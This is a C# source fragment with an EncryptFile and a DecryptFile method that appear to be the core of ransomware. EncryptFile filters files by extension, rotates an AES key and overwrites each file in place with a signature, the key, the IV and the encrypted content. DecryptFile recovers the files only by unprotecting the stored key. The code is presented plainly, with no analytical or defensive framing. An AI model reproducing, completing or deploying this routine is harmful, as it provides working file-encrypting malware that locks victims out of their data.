private void EncryptFile(FileInfo file)
{
// Simple Thread Wait
Thread.Sleep(10);
#if DEBUG
Trace.WriteLine("");
Trace.WriteLine("[*] EncryptFile (" + file.Name + ")");
Trace.Indent();
#endif
// Check File in Filter
if (Common.FileInFilter(file.Extension))
{
// File Signature Decision Gate
if (!Common.CheckSignature(file))
{
// Encrypt
#if DEBUG
Trace.WriteLine("[+] File to Encrypt");
#endif
// Try to Rotate Key
CriptoKeyManager.RotateAesKey();
// Read File Data
Byte[] fileData = null;
FileManager.ReadFile(file, ref fileData);
// Encrypt File
using (FileStream fs = File.OpenWrite(file.FullName))
{
fs.Position = 0;
// Write Control Structure
fs.Write(ConfigurationManager.FILE_SIGNATURE, 0, ConfigurationManager.FILE_SIGNATURE_SIZE);
fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);
fs.Write(CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);
fs.Flush();
// Write Encrypted Data
CriptoFileManager.Encrypt(fs, ref fileData);
}
}
else
{
#if DEBUG
Trace.WriteLine("[+] File Alread Encrypted");
#endif
}
}
else
{
#if DEBUG
Trace.WriteLine("[+] File Filter not Allowed");
#endif
}
#if DEBUG
Trace.Unindent();
#endif
}
/// <summary>
/// Decrypt a Single File
/// </summary>
/// <param name="file"></param>
private void DecryptFile(FileInfo file)
{
#if DEBUG
Trace.WriteLine("");
Trace.WriteLine("[*] DecryptFile (" + file.Name + ")");
Trace.Indent();
#endif
// File Signature Decision Gate
if (Common.CheckSignature(file))
{
#if DEBUG
Trace.WriteLine("[+] File to Decrypt");
#endif
// Read File Data
byte[] encryptedFileKey;
byte[] encryptedFileIv;
byte[] fileKey = null;
byte[] fileIv = null;
byte[] fileRawData = null;
int keyStartIndex;
int ivStartIndex;
string tempFileName = file.FullName + ".wrk";
// Read File Data
FileManager.ReadFile(file, ref fileRawData);
// Compute Key Start Index
keyStartIndex = ConfigurationManager.FILE_SIGNATURE_SIZE;
// Get Key
encryptedFileKey = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length];
Array.Copy(fileRawData, keyStartIndex, encryptedFileKey, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_KEY.Length);
// Compute IV Start Index
ivStartIndex = keyStartIndex + encryptedFileKey.Length;
// Get Iv
encryptedFileIv = new byte[CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length];
Array.Copy(fileRawData, ivStartIndex, encryptedFileIv, 0, CriptoKeyManager.CURRENT_FILE_ENCRIPTION_IV.Length);
// Decrypt Key and Iv
CriptoKeyManager.UnprotectAesKey(ref encryptedFileKey, ref fileKey, ref encryptedFileIv, ref fileIv);
// Decrypt File
using (FileStream fs = File.Create(tempFileName))
{
fs.Position = 0;
// Write Encrypted Data
CriptoFileManager.Decrypt(fs, ref fileRawData, ConfigurationManager.FILE_SIGNATURE_SIZE + encryptedFileKey.Length + encryptedFileIv.Length, fileKey, fileIv);
}
// Delete Old File
file.Delete();
// Copy Temp File Into Old File
File.Copy(tempFileName, file.FullName);
// Remove Temp File
File.Delete(tempFileName);
}
else
{
#if DEBUG
Trace.WriteLine("[+] File is Not Encrypted");
#endif
}
#if DEBUG
Trace.Unindent();
#endif
}
